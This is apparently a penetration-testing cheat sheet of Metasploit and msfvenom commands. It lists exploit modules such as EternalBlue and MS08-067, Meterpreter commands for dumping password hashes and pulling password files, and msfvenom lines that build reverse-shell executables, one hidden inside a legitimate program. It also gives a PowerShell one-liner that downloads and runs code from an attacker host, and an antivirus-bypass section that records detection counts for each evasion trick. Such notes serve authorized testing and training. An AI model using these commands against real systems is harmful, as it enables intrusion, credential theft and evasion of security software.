services -p 443 -R  # populate RHOSTS with result
hosts -c address,os_flavor -S Linux # 2 columns, search Linux
services -c name,info -S http -R  # 2 columns, search http, and populate RHOSTS with results
creds
creds -a 192.168.1.23 -p 22 -u root -P toor
loot

Explored Modules

# Auxiliary
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version
auxiliary/scanner/http/webdav_scanner # apparently WebDAV servers are often poorly cofigured and can often lead to quick and easy shell
auxiliary/scanner/ftp/ftp_login

# Exploits
exploit/windows/smb/ms08_067_netapi
exploit/windows/smb/ms17_010_eternalblue

Common Payloads

Staged Payload

2 parts, great when there is little buffer space for shellcode. Requires multi handler to send stage 2. Meterpreter is always staged.

[platform]/[arch?]/[shell/meterpreter]/[reverse/bind]_[protocol]
windows/meterpreter/reverse_https
linux/x86/shell/reverse_tcp

Non-Staged/Singles Payloads

Entire shellcode in payload

[platform]/[arch?]/[shell]_[reverse/bind]_[protocol]
windows/shell_reverse_tcp
linux/x86/shell_reverse_tcp

Meterpreter

sysinfo
getuid
search -f *pass*.txt
download c:\\users\\bob\\passwords.txt /tmp
upload /tmp/nc.exe c:\\
hashdump
getsystem
migrate [pid] # migrate to another process, as exploited process may hung (eg. during client-side attacks) or get killed
shell # advantage is if shell dies, you can go back up to meterpreter to spawn a new one

use exploit/windows/local/service_permissions
set session 1
exploit

Executable Payloads

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -o shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -o shell.exe -x /usr/share/windows-binaries/plink.exe -k # embed with existing program, and allow it to continue functionality with -k (spawn new thread)
msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o gimmeshell

Custom MSF Module

Create in local directory, eg. ~/.msf4/modules/exploits/linux/misc. Copy an existing template over like /usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb. Change template, main part is exploit function.

Unicorn Powershell

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory, potentially evading firewalls.

# On Kali:
./unicorn.py [metasploit payload] [reverse_ip] [port] # generates powershell_attack.txt (actual output) and unicorn.rc (metasploit setup script)
# delete the "powershell" wrapper and quotes around the text in powershell_attack.txt
python -m SimpleHTTPServer

# On Windows:
powershell "IEX(New-Object Net.WebClient).downloadString('http://[kali ip]:8000/powershell_attack.txt')" # download and execute the powershell code

# On Kali:
# set up listener

Bypassing Antivirus Software

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -o shell.exe # 30/46
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell.exe # 34/46
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell.exe # 27/46
wine /usr/share/windows-binaries/hyperion/hyperion.exe shell.exe crypted.exe # 14/46
# custom python reverse shell compiled to exe # 2/46
# custom C reverse shellcode compiled to exe # 1/46

Forensics

strings [file]
grep -a '[pattern]' [file]
xdd [file]
binwalk -Me [file]
testdisk [file]
photorec [file]